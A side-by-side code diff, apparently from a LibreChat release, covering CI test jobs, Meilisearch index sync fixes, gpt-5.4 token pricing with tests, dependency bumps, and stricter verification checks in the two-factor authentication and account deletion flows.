uses: actions/download-artifact@v4
with:
name: build-client-package
path: packages/client/dist
- name: Run unit tests - name: Run unit tests
run: npm run test:ci --verbose run: npm run test:ci --verbose
working-directory: client working-directory: client
tests_frontend_windows: test-windows:
name: Run frontend unit tests on Windows name: 'Tests: Windows'
timeout-minutes: 60 needs: build
runs-on: windows-latest runs-on: windows-latest
env: timeout-minutes: 20
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Use Node.js 20.x
- name: Use Node.js 20.19
uses: actions/setup-node@v4 uses: actions/setup-node@v4
with: with:
node-version: 20 node-version: '20.19'
cache: 'npm'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
client/node_modules
packages/client/node_modules
packages/data-provider/node_modules
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies - name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci run: npm ci
- name: Build Client - name: Download data-provider build
run: npm run frontend:ci uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download client-package build
uses: actions/download-artifact@v4
with:
name: build-client-package
path: packages/client/dist
- name: Run unit tests - name: Run unit tests
run: npm run test:ci --verbose run: npm run test:ci --verbose
working-directory: client working-directory: client
build-verify:
name: Vite build verification
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
node-version: '20.19'
- name: Restore node_modules cache
id: cache-node-modules
uses: actions/cache@v4
with:
path: |
node_modules
client/node_modules
packages/client/node_modules
packages/data-provider/node_modules
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- name: Download data-provider build
uses: actions/download-artifact@v4
with:
name: build-data-provider
path: packages/data-provider/dist
- name: Download client-package build
uses: actions/download-artifact@v4
with:
name: build-client-package
path: packages/client/dist
- name: Build client
run: cd client && npm run build:ci

View file

@ -149,7 +149,15 @@ Multi-line imports count total character length across all lines. Consolidate va
- Run tests from their workspace directory: `cd api && npx jest <pattern>`, `cd packages/api && npx jest <pattern>`, etc. - Run tests from their workspace directory: `cd api && npx jest <pattern>`, `cd packages/api && npx jest <pattern>`, etc.
- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering. - Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
- Cover loading, success, and error states for UI/data flows. - Cover loading, success, and error states for UI/data flows.
- Mock data-provider hooks and external dependencies.
### Philosophy
- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort.
- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic.
- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls.
- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals.
- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls.
- Heavy mocking is a code smell, not a testing strategy.
--- ---

View file

@ -1,4 +1,4 @@
# v0.8.3-rc2 # v0.8.3
# Base node image # Base node image
FROM node:20-alpine AS node FROM node:20-alpine AS node

View file

@ -1,5 +1,5 @@
# Dockerfile.multi # Dockerfile.multi
# v0.8.3-rc2 # v0.8.3
# Set configurable max-old-space-size with default # Set configurable max-old-space-size with default
ARG NODE_MAX_OLD_SPACE_SIZE=6144 ARG NODE_MAX_OLD_SPACE_SIZE=6144

View file

@ -1,7 +1,6 @@
const DALLE3 = require('../DALLE3'); const DALLE3 = require('../DALLE3');
const { ProxyAgent } = require('undici'); const { ProxyAgent } = require('undici');
jest.mock('tiktoken');
const processFileURL = jest.fn(); const processFileURL = jest.fn();
describe('DALLE3 Proxy Configuration', () => { describe('DALLE3 Proxy Configuration', () => {

View file

@ -14,15 +14,6 @@ jest.mock('@librechat/data-schemas', () => {
}; };
}); });
jest.mock('tiktoken', () => {
return {
encoding_for_model: jest.fn().mockReturnValue({
encode: jest.fn(),
decode: jest.fn(),
}),
};
});
const processFileURL = jest.fn(); const processFileURL = jest.fn();
const generate = jest.fn(); const generate = jest.fn();

View file

@ -236,8 +236,12 @@ async function performSync(flowManager, flowId, flowType) {
const messageCount = messageProgress.totalDocuments; const messageCount = messageProgress.totalDocuments;
const messagesIndexed = messageProgress.totalProcessed; const messagesIndexed = messageProgress.totalProcessed;
const unindexedMessages = messageCount - messagesIndexed; const unindexedMessages = messageCount - messagesIndexed;
const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0;
if (settingsUpdated || unindexedMessages > syncThreshold) { if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) {
if (noneIndexed && !settingsUpdated) {
logger.info('[indexSync] No messages marked as indexed, forcing full sync');
}
logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`); logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
await Message.syncWithMeili(); await Message.syncWithMeili();
messagesSync = true; messagesSync = true;
@ -261,9 +265,13 @@ async function performSync(flowManager, flowId, flowType) {
const convoCount = convoProgress.totalDocuments; const convoCount = convoProgress.totalDocuments;
const convosIndexed = convoProgress.totalProcessed; const convosIndexed = convoProgress.totalProcessed;
const unindexedConvos = convoCount - convosIndexed; const unindexedConvos = convoCount - convosIndexed;
if (settingsUpdated || unindexedConvos > syncThreshold) { const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0;
if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) {
if (noneConvosIndexed && !settingsUpdated) {
logger.info('[indexSync] No conversations marked as indexed, forcing full sync');
}
logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`); logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
await Conversation.syncWithMeili(); await Conversation.syncWithMeili();
convosSync = true; convosSync = true;

View file

@ -462,4 +462,69 @@ describe('performSync() - syncThreshold logic', () => {
); );
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)'); expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
}); });
test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => {
Message.getSyncProgress.mockResolvedValue({
totalProcessed: 0,
totalDocuments: 680,
isComplete: false,
});
Conversation.getSyncProgress.mockResolvedValue({
totalProcessed: 0,
totalDocuments: 76,
isComplete: false,
});
Message.syncWithMeili.mockResolvedValue(undefined);
Conversation.syncWithMeili.mockResolvedValue(undefined);
const indexSync = require('./indexSync');
await indexSync();
expect(Message.syncWithMeili).toHaveBeenCalledTimes(1);
expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1);
expect(mockLogger.info).toHaveBeenCalledWith(
'[indexSync] No messages marked as indexed, forcing full sync',
);
expect(mockLogger.info).toHaveBeenCalledWith(
'[indexSync] Starting message sync (680 unindexed)',
);
expect(mockLogger.info).toHaveBeenCalledWith(
'[indexSync] No conversations marked as indexed, forcing full sync',
);
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)');
});
test('does NOT force sync when some documents already indexed and below threshold', async () => {
Message.getSyncProgress.mockResolvedValue({
totalProcessed: 630,
totalDocuments: 680,
isComplete: false,
});
Conversation.getSyncProgress.mockResolvedValue({
totalProcessed: 70,
totalDocuments: 76,
isComplete: false,
});
const indexSync = require('./indexSync');
await indexSync();
expect(Message.syncWithMeili).not.toHaveBeenCalled();
expect(Conversation.syncWithMeili).not.toHaveBeenCalled();
expect(mockLogger.info).not.toHaveBeenCalledWith(
'[indexSync] No messages marked as indexed, forcing full sync',
);
expect(mockLogger.info).not.toHaveBeenCalledWith(
'[indexSync] No conversations marked as indexed, forcing full sync',
);
expect(mockLogger.info).toHaveBeenCalledWith(
'[indexSync] 50 messages unindexed (below threshold: 1000, skipping)',
);
expect(mockLogger.info).toHaveBeenCalledWith(
'[indexSync] 6 convos unindexed (below threshold: 1000, skipping)',
);
});
}); });

View file

@ -3,12 +3,13 @@ module.exports = {
clearMocks: true, clearMocks: true,
roots: ['<rootDir>'], roots: ['<rootDir>'],
coverageDirectory: 'coverage', coverageDirectory: 'coverage',
maxWorkers: '50%',
testTimeout: 30000, // 30 seconds timeout for all tests testTimeout: 30000, // 30 seconds timeout for all tests
setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'], setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
moduleNameMapper: { moduleNameMapper: {
'~/(.*)': '<rootDir>/$1', '~/(.*)': '<rootDir>/$1',
'~/data/auth.json': '<rootDir>/__mocks__/auth.mock.json', '~/data/auth.json': '<rootDir>/__mocks__/auth.mock.json',
'^openid-client/passport$': '<rootDir>/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part '^openid-client/passport$': '<rootDir>/test/__mocks__/openid-client-passport.js',
'^openid-client$': '<rootDir>/test/__mocks__/openid-client.js', '^openid-client$': '<rootDir>/test/__mocks__/openid-client.js',
}, },
transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'], transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],

View file

@ -228,7 +228,7 @@ module.exports = {
}, },
], ],
}; };
} catch (err) { } catch (_err) {
logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning'); logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
} }
if (cursorFilter) { if (cursorFilter) {
@ -361,6 +361,7 @@ module.exports = {
const deleteMessagesResult = await deleteMessages({ const deleteMessagesResult = await deleteMessages({
conversationId: { $in: conversationIds }, conversationId: { $in: conversationIds },
user,
}); });
return { ...deleteConvoResult, messages: deleteMessagesResult }; return { ...deleteConvoResult, messages: deleteMessagesResult };

View file

@ -549,6 +549,7 @@ describe('Conversation Operations', () => {
expect(result.messages.deletedCount).toBe(5); expect(result.messages.deletedCount).toBe(5);
expect(deleteMessages).toHaveBeenCalledWith({ expect(deleteMessages).toHaveBeenCalledWith({
conversationId: { $in: [mockConversationData.conversationId] }, conversationId: { $in: [mockConversationData.conversationId] },
user: 'user123',
}); });
// Verify conversation was deleted // Verify conversation was deleted

View file

@ -4,31 +4,18 @@ const defaultRate = 6;
/** /**
* Token Pricing Configuration * Token Pricing Configuration
* *
* IMPORTANT: Key Ordering for Pattern Matching * Pattern Matching
* ============================================ * ================
* The `findMatchingPattern` function iterates through object keys in REVERSE order * `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects
* (last-defined keys are checked first) and uses `modelName.includes(key)` for matching. * the LONGEST matching key. If a key's length equals the model name's length (exact match),
* it returns immediately. Definition order does NOT affect correctness.
* *
* This means: * Key ordering matters only for:
* 1. BASE PATTERNS must be defined FIRST (e.g., "kimi", "moonshot") * 1. Performance: list older/less common models first so newer/common models
* 2. SPECIFIC PATTERNS must be defined AFTER their base patterns (e.g., "kimi-k2", "kimi-k2.5") * are found earlier in the reverse scan.
* * 2. Same-length tie-breaking: the last-defined key wins on equal-length matches.
* Example ordering for Kimi models:
* kimi: { prompt: 0.6, completion: 2.5 }, // Base pattern - checked last
* 'kimi-k2': { prompt: 0.6, completion: 2.5 }, // More specific - checked before "kimi"
* 'kimi-k2.5': { prompt: 0.6, completion: 3.0 }, // Most specific - checked first
*
* Why this matters:
* - Model name "kimi-k2.5" contains both "kimi" and "kimi-k2" as substrings
* - If "kimi" were checked first, it would incorrectly match and return wrong pricing
* - By defining specific patterns AFTER base patterns, they're checked first in reverse iteration
* *
* This applies to BOTH `tokenValues` and `cacheTokenValues` objects. * This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
*
* When adding new model families:
* 1. Define the base/generic pattern first
* 2. Define increasingly specific patterns after
* 3. Ensure no pattern is a substring of another that should match differently
*/ */
/** /**
@ -151,6 +138,9 @@ const tokenValues = Object.assign(
'gpt-5.1': { prompt: 1.25, completion: 10 }, 'gpt-5.1': { prompt: 1.25, completion: 10 },
'gpt-5.2': { prompt: 1.75, completion: 14 }, 'gpt-5.2': { prompt: 1.75, completion: 14 },
'gpt-5.3': { prompt: 1.75, completion: 14 }, 'gpt-5.3': { prompt: 1.75, completion: 14 },
'gpt-5.4': { prompt: 2.5, completion: 15 },
// TODO: gpt-5.4-pro pricing not yet officially published — verify before release
'gpt-5.4-pro': { prompt: 5, completion: 30 },
'gpt-5-nano': { prompt: 0.05, completion: 0.4 }, 'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
'gpt-5-mini': { prompt: 0.25, completion: 2 }, 'gpt-5-mini': { prompt: 0.25, completion: 2 },
'gpt-5-pro': { prompt: 15, completion: 120 }, 'gpt-5-pro': { prompt: 15, completion: 120 },
@ -322,7 +312,7 @@ const cacheTokenValues = {
// gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off // gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
// gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off // gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
// gpt-5.x (excl. pro variants): 90% off // gpt-5.x (excl. pro variants): 90% off
// gpt-5-pro, gpt-5.2-pro: no caching // gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching
'gpt-4o': { write: 2.5, read: 1.25 }, 'gpt-4o': { write: 2.5, read: 1.25 },
'gpt-4o-mini': { write: 0.15, read: 0.075 }, 'gpt-4o-mini': { write: 0.15, read: 0.075 },
'gpt-4.1': { write: 2, read: 0.5 }, 'gpt-4.1': { write: 2, read: 0.5 },
@ -332,6 +322,7 @@ const cacheTokenValues = {
'gpt-5.1': { write: 1.25, read: 0.125 }, 'gpt-5.1': { write: 1.25, read: 0.125 },
'gpt-5.2': { write: 1.75, read: 0.175 }, 'gpt-5.2': { write: 1.75, read: 0.175 },
'gpt-5.3': { write: 1.75, read: 0.175 }, 'gpt-5.3': { write: 1.75, read: 0.175 },
'gpt-5.4': { write: 2.5, read: 0.25 },
'gpt-5-mini': { write: 0.25, read: 0.025 }, 'gpt-5-mini': { write: 0.25, read: 0.025 },
'gpt-5-nano': { write: 0.05, read: 0.005 }, 'gpt-5-nano': { write: 0.05, read: 0.005 },
o1: { write: 15, read: 7.5 }, o1: { write: 15, read: 7.5 },

View file

@ -59,6 +59,17 @@ describe('getValueKey', () => {
expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3'); expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
}); });
it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => {
expect(getValueKey('gpt-5.4')).toBe('gpt-5.4');
expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4');
expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4');
});
it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => {
expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro');
expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro');
});
it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => { it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106'); expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106'); expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
@ -400,6 +411,33 @@ describe('getMultiplier', () => {
); );
}); });
it('should return the correct multiplier for gpt-5.4', () => {
expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.4'].prompt,
);
expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe(
tokenValues['gpt-5.4'].completion,
);
expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.4'].prompt,
);
expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe(
tokenValues['gpt-5.4'].completion,
);
});
it('should return the correct multiplier for gpt-5.4-pro', () => {
expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.4-pro'].prompt,
);
expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe(
tokenValues['gpt-5.4-pro'].completion,
);
expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.4-pro'].prompt,
);
});
it('should return the correct multiplier for gpt-4o', () => { it('should return the correct multiplier for gpt-4o', () => {
const valueKey = getValueKey('gpt-4o-2024-08-06'); const valueKey = getValueKey('gpt-4o-2024-08-06');
expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt); expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt);
@ -1377,6 +1415,7 @@ describe('getCacheMultiplier', () => {
'gpt-5.1', 'gpt-5.1',
'gpt-5.2', 'gpt-5.2',
'gpt-5.3', 'gpt-5.3',
'gpt-5.4',
'gpt-5-mini', 'gpt-5-mini',
'gpt-5-nano', 'gpt-5-nano',
'o1', 'o1',
@ -1413,10 +1452,20 @@ describe('getCacheMultiplier', () => {
expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull(); expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull(); expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull(); expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull();
expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull();
}); });
it('should have consistent 10% cache read pricing for gpt-5.x models', () => { it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
const gpt5CacheModels = ['gpt-5', 'gpt-5.1', 'gpt-5.2', 'gpt-5.3', 'gpt-5-mini', 'gpt-5-nano']; const gpt5CacheModels = [
'gpt-5',
'gpt-5.1',
'gpt-5.2',
'gpt-5.3',
'gpt-5.4',
'gpt-5-mini',
'gpt-5-nano',
];
for (const model of gpt5CacheModels) { for (const model of gpt5CacheModels) {
expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10); expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
} }

View file

@ -1,6 +1,6 @@
{ {
"name": "@librechat/backend", "name": "@librechat/backend",
"version": "v0.8.3-rc2", "version": "v0.8.3",
"description": "", "description": "",
"scripts": { "scripts": {
"start": "echo 'please run this from the root directory'", "start": "echo 'please run this from the root directory'",
@ -51,6 +51,7 @@
"@modelcontextprotocol/sdk": "^1.27.1", "@modelcontextprotocol/sdk": "^1.27.1",
"@node-saml/passport-saml": "^5.1.0", "@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5", "@smithy/node-http-handler": "^4.4.5",
"ai-tokenizer": "^1.0.6",
"axios": "^1.13.5", "axios": "^1.13.5",
"bcryptjs": "^2.4.3", "bcryptjs": "^2.4.3",
"compression": "^1.8.1", "compression": "^1.8.1",
@ -63,10 +64,10 @@
"eventsource": "^3.0.2", "eventsource": "^3.0.2",
"express": "^5.2.1", "express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0", "express-mongo-sanitize": "^2.2.0",
"express-rate-limit": "^8.2.1", "express-rate-limit": "^8.3.0",
"express-session": "^1.18.2", "express-session": "^1.18.2",
"express-static-gzip": "^2.2.0", "express-static-gzip": "^2.2.0",
"file-type": "^18.7.0", "file-type": "^21.3.2",
"firebase": "^11.0.2", "firebase": "^11.0.2",
"form-data": "^4.0.4", "form-data": "^4.0.4",
"handlebars": "^4.7.7", "handlebars": "^4.7.7",
@ -87,7 +88,7 @@
"mime": "^3.0.0", "mime": "^3.0.0",
"module-alias": "^2.2.3", "module-alias": "^2.2.3",
"mongoose": "^8.12.1", "mongoose": "^8.12.1",
"multer": "^2.1.0", "multer": "^2.1.1",
"nanoid": "^3.3.7", "nanoid": "^3.3.7",
"node-fetch": "^2.7.0", "node-fetch": "^2.7.0",
"nodemailer": "^7.0.11", "nodemailer": "^7.0.11",
@ -106,10 +107,9 @@
"pdfjs-dist": "^5.4.624", "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0", "rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5", "sharp": "^0.33.5",
"tiktoken": "^1.0.15",
"traverse": "^0.6.7", "traverse": "^0.6.7",
"ua-parser-js": "^1.0.36", "ua-parser-js": "^1.0.36",
"undici": "^7.18.2", "undici": "^7.24.1",
"winston": "^3.11.0", "winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0", "winston-daily-rotate-file": "^5.0.0",
"xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",

View file

@ -1,5 +1,6 @@
const { encryptV3, logger } = require('@librechat/data-schemas'); const { encryptV3, logger } = require('@librechat/data-schemas');
const { const {
verifyOTPOrBackupCode,
generateBackupCodes, generateBackupCodes,
generateTOTPSecret, generateTOTPSecret,
verifyBackupCode, verifyBackupCode,
@ -13,24 +14,42 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, '');
/** /**
* Enable 2FA for the user by generating a new TOTP secret and backup codes. * Enable 2FA for the user by generating a new TOTP secret and backup codes.
* The secret is encrypted and stored, and 2FA is marked as disabled until confirmed. * The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
* If 2FA is already enabled, requires OTP or backup code verification to re-enroll.
*/ */
const enable2FA = async (req, res) => { const enable2FA = async (req, res) => {
try { try {
const userId = req.user.id; const userId = req.user.id;
const existingUser = await getUserById(
userId,
'+totpSecret +backupCodes _id twoFactorEnabled email',
);
if (existingUser && existingUser.twoFactorEnabled) {
const { token, backupCode } = req.body;
const result = await verifyOTPOrBackupCode({
user: existingUser,
token,
backupCode,
persistBackupUse: false,
});
if (!result.verified) {
const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA';
return res.status(result.status ?? 400).json({ message: msg });
}
}
const secret = generateTOTPSecret(); const secret = generateTOTPSecret();
const { plainCodes, codeObjects } = await generateBackupCodes(); const { plainCodes, codeObjects } = await generateBackupCodes();
// Encrypt the secret with v3 encryption before saving.
const encryptedSecret = encryptV3(secret); const encryptedSecret = encryptV3(secret);
// Update the user record: store the secret & backup codes and set twoFactorEnabled to false.
const user = await updateUser(userId, { const user = await updateUser(userId, {
totpSecret: encryptedSecret, pendingTotpSecret: encryptedSecret,
backupCodes: codeObjects, pendingBackupCodes: codeObjects,
twoFactorEnabled: false,
}); });
const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`; const email = user.email || (existingUser && existingUser.email) || '';
const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`;
return res.status(200).json({ otpauthUrl, backupCodes: plainCodes }); return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
} catch (err) { } catch (err) {
@ -46,13 +65,14 @@ const verify2FA = async (req, res) => {
try { try {
const userId = req.user.id; const userId = req.user.id;
const { token, backupCode } = req.body; const { token, backupCode } = req.body;
const user = await getUserById(userId, '_id totpSecret backupCodes'); const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id');
const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
if (!user || !user.totpSecret) { if (!user || !secretSource) {
return res.status(400).json({ message: '2FA not initiated' }); return res.status(400).json({ message: '2FA not initiated' });
} }
const secret = await getTOTPSecret(user.totpSecret); const secret = await getTOTPSecret(secretSource);
let isVerified = false; let isVerified = false;
if (token) { if (token) {
@ -78,15 +98,28 @@ const confirm2FA = async (req, res) => {
try { try {
const userId = req.user.id; const userId = req.user.id;
const { token } = req.body; const { token } = req.body;
const user = await getUserById(userId, '_id totpSecret'); const user = await getUserById(
userId,
'+totpSecret +pendingTotpSecret +pendingBackupCodes _id',
);
const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
if (!user || !user.totpSecret) { if (!user || !secretSource) {
return res.status(400).json({ message: '2FA not initiated' }); return res.status(400).json({ message: '2FA not initiated' });
} }
const secret = await getTOTPSecret(user.totpSecret); const secret = await getTOTPSecret(secretSource);
if (await verifyTOTP(secret, token)) { if (await verifyTOTP(secret, token)) {
await updateUser(userId, { twoFactorEnabled: true }); const update = {
totpSecret: user.pendingTotpSecret ?? user.totpSecret,
twoFactorEnabled: true,
pendingTotpSecret: null,
pendingBackupCodes: [],
};
if (user.pendingBackupCodes?.length) {
update.backupCodes = user.pendingBackupCodes;
}
await updateUser(userId, update);
return res.status(200).json(); return res.status(200).json();
} }
return res.status(400).json({ message: 'Invalid token.' }); return res.status(400).json({ message: 'Invalid token.' });
@ -104,31 +137,27 @@ const disable2FA = async (req, res) => {
try { try {
const userId = req.user.id; const userId = req.user.id;
const { token, backupCode } = req.body; const { token, backupCode } = req.body;
const user = await getUserById(userId, '_id totpSecret backupCodes'); const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
if (!user || !user.totpSecret) { if (!user || !user.totpSecret) {
return res.status(400).json({ message: '2FA is not setup for this user' }); return res.status(400).json({ message: '2FA is not setup for this user' });
} }
if (user.twoFactorEnabled) { if (user.twoFactorEnabled) {
const secret = await getTOTPSecret(user.totpSecret); const result = await verifyOTPOrBackupCode({ user, token, backupCode });
let isVerified = false;
if (token) { if (!result.verified) {
isVerified = await verifyTOTP(secret, token); const msg = result.message ?? 'Either token or backup code is required to disable 2FA';
} else if (backupCode) { return res.status(result.status ?? 400).json({ message: msg });
isVerified = await verifyBackupCode({ user, backupCode });
} else {
return res
.status(400)
.json({ message: 'Either token or backup code is required to disable 2FA' });
}
if (!isVerified) {
return res.status(401).json({ message: 'Invalid token or backup code' });
} }
} }
await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false }); await updateUser(userId, {
totpSecret: null,
backupCodes: [],
twoFactorEnabled: false,
pendingTotpSecret: null,
pendingBackupCodes: [],
});
return res.status(200).json(); return res.status(200).json();
} catch (err) { } catch (err) {
logger.error('[disable2FA]', err); logger.error('[disable2FA]', err);
@ -138,10 +167,28 @@ const disable2FA = async (req, res) => {
/** /**
* Regenerate backup codes for the user. * Regenerate backup codes for the user.
* Requires OTP or backup code verification if 2FA is already enabled.
*/ */
const regenerateBackupCodes = async (req, res) => { const regenerateBackupCodes = async (req, res) => {
try { try {
const userId = req.user.id; const userId = req.user.id;
const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
if (!user) {
return res.status(404).json({ message: 'User not found' });
}
if (user.twoFactorEnabled) {
const { token, backupCode } = req.body;
const result = await verifyOTPOrBackupCode({ user, token, backupCode });
if (!result.verified) {
const msg =
result.message ?? 'TOTP token or backup code is required to regenerate backup codes';
return res.status(result.status ?? 400).json({ message: msg });
}
}
const { plainCodes, codeObjects } = await generateBackupCodes(); const { plainCodes, codeObjects } = await generateBackupCodes();
await updateUser(userId, { backupCodes: codeObjects }); await updateUser(userId, { backupCodes: codeObjects });
return res.status(200).json({ return res.status(200).json({

View file

@ -14,6 +14,7 @@ const {
deleteMessages, deleteMessages,
deletePresets, deletePresets,
deleteUserKey, deleteUserKey,
getUserById,
deleteConvos, deleteConvos,
deleteFiles, deleteFiles,
updateUser, updateUser,
@ -34,6 +35,7 @@ const {
User, User,
} = require('~/db/models'); } = require('~/db/models');
const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService'); const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService');
const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService'); const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config'); const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools'); const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
@ -241,6 +243,22 @@ const deleteUserController = async (req, res) => {
const { user } = req; const { user } = req;
try { try {
const existingUser = await getUserById(
user.id,
'+totpSecret +backupCodes _id twoFactorEnabled',
);
if (existingUser && existingUser.twoFactorEnabled) {
const { token, backupCode } = req.body;
const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode });
if (!result.verified) {
const msg =
result.message ??
'TOTP token or backup code is required to delete account with 2FA enabled';
return res.status(result.status ?? 400).json({ message: msg });
}
}
await deleteMessages({ user: user.id }); // delete user messages await deleteMessages({ user: user.id }); // delete user messages
await deleteAllUserSessions({ userId: user.id }); // delete user sessions await deleteAllUserSessions({ userId: user.id }); // delete user sessions
await Transaction.deleteMany({ user: user.id }); // delete user transactions await Transaction.deleteMany({ user: user.id }); // delete user transactions

View file

